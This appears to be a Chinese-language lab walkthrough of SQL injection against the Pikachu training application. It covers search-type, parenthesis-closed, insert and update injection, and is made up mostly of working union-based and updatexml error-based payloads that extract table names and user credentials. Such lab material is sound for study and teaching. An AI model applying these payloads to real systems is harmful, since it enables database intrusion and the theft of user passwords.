搜索型注入
输入in
得到以下结果,参数直接拼接在URL中输入in'
有报错
输入in' '
正常回显
可以用单引号闭合,http://ip:9002/vul/sqli/sqli_search.php?name=in&submit=%E6%90%9C%E7%B4%A2
找到payload?name=in' &submit=%E6%90%9C%E7%B4%A2
后开始注入
- 查列数为3
?name=in' order by 3-- &submit=%E6%90%9C%E7%B4%A2
- 查数据库名和版本
?name=in' union select database(),version(),1-- &submit=%E6%90%9C%E7%B4%A2
- 查表名
?name=in' union select group_concat(table_name),1,2 from information_schema.tables where table_schema=database()-- &submit=%E6%90%9C%E7%B4%A2
- 查列名
?name=in' union select group_concat(column_name),1,2 from information_schema.columns where table_schema=database()-- &submit=%E6%90%9C%E7%B4%A2
- 查用户数据
?name=in' union select username,password,level from pikachu.users -- &submit=%E6%90%9C%E7%B4%A2
xx型注入
输入vince
得到以下查询结果,参数也同样直接拼接在URL中
输入vince'
输入vince')
添加注释符vince') --
后正常回显vince
的查询结果,则payload为?name=vince') -- &submit=%E6%9F%A5%E8%AF%A2
,同样开始注入
- 查列数为2
?name=vince') order by 2-- &submit=%E6%90%9C%E7%B4%A2
- 查数据库名和版本
?name=vince') union select database(),version()-- &submit=%E6%90%9C%E7%B4%A2
- 查表名
?name=vince') union select group_concat(table_name),1 from information_schema.tables where table_schema=database()-- &submit=%E6%90%9C%E7%B4%A2
- 查列名
?name=vince') union select group_concat(column_name),1 from information_schema.columns where table_schema=database()-- &submit=%E6%90%9C%E7%B4%A2
- 查用户数据
?name=vince') union select username,password from pikachu.users -- &submit=%E6%90%9C%E7%B4%A2
"insert/update"注入
初始界面
insert注入
尝试万能密码未果,注册
注册后登录
再注册一个pika'
有报错回显
抓包分析
提交值改为username=pika')-- &password=123&sex=&phonenum=&email=&add=&submit=submit
提交值改为username=pika','123','','','','')-- &password=123&sex=&phonenum=&email=&add=&submit=submit
回显注册成功的界面,接着使用报错注入使得数据显示在报错页面
构造注入语句
-
查数据库名
username=pika' and updatexml(1,concat(0x7e,(select database()),0x7e),1),'123','','','','')-- &password=123&sex=&phonenum=&email=&add=&submit=submit
-
查表名
username=pika' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1),'123','','','','')-- &password=123&sex=&phonenum=&email=&add=&submit=submit
有报错
换一个username之后可以查询username=111' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1),'123','','','','')-- &password=123&sex=&phonenum=&email=&add=&submit=submit
但是没有完整显示,使用
substr()
函数使得返回的结果从第32位开始显示31位长度username=111' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),32,31),0x7e),1),'123','','','','')-- &password=123&sex=&phonenum=&email=&add=&submit=submit
-
查列名
username=111' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1),'123','','','','')-- &password=123&sex=&phonenum=&email=&add=&submit=submit
同样也显示不完整,需要substr()函数
username=111' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),32,31),0x7e),1),'123','','','','')-- &password=123&sex=&phonenum=&email=&add=&submit=submit
-
查用户数据,需要substr()函数查看完整数据
username=111' and updatexml(1,concat(0x7e,(select group_concat(id,':',username,':',password) from pikachu.users),0x7e),1),'123','','','','')-- &password=123&sex=&phonenum=&email=&add=&submit=submit username=111' and updatexml(1,concat(0x7e,substr((select group_concat(id,':',username,':',password) from pikachu.users),32,31),0x7e),1),'123','','','','')-- &password=123&sex=&phonenum=&email=&add=&submit=submit
update注入
登录后的个人信息编辑界面
提交后抓包,可以看到提交的内容
sex=123&phonenum=123&add=123&email=123&submit=submit
在其中添加单引号,有报错
sex=123'&phonenum=123&add=123&email=123&submit=submit
构造payload
sex=123' and ' &phonenum=123&add=123&email=123&submit=submit
- 查数据库名
sex=123' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '&phonenum=123&add=123&email=123&submit=submit
- 查表名(要用到substr()函数来获取完整数据)
sex=123' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) and '&phonenum=123&add=123&email=123&submit=submit
- 查列名(要用到substr()函数来获取完整数据)
sex=123' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) and '&phonenum=123&add=123&email=123&submit=submit
- 查用户数据(要用到substr()函数来获取完整数据)
sex=123' and updatexml(1,concat(0x7e,(select group_concat(id,':',username,':',password) from pikachu.users),0x7e),1) and '&phonenum=123&add=123&email=123&submit=submit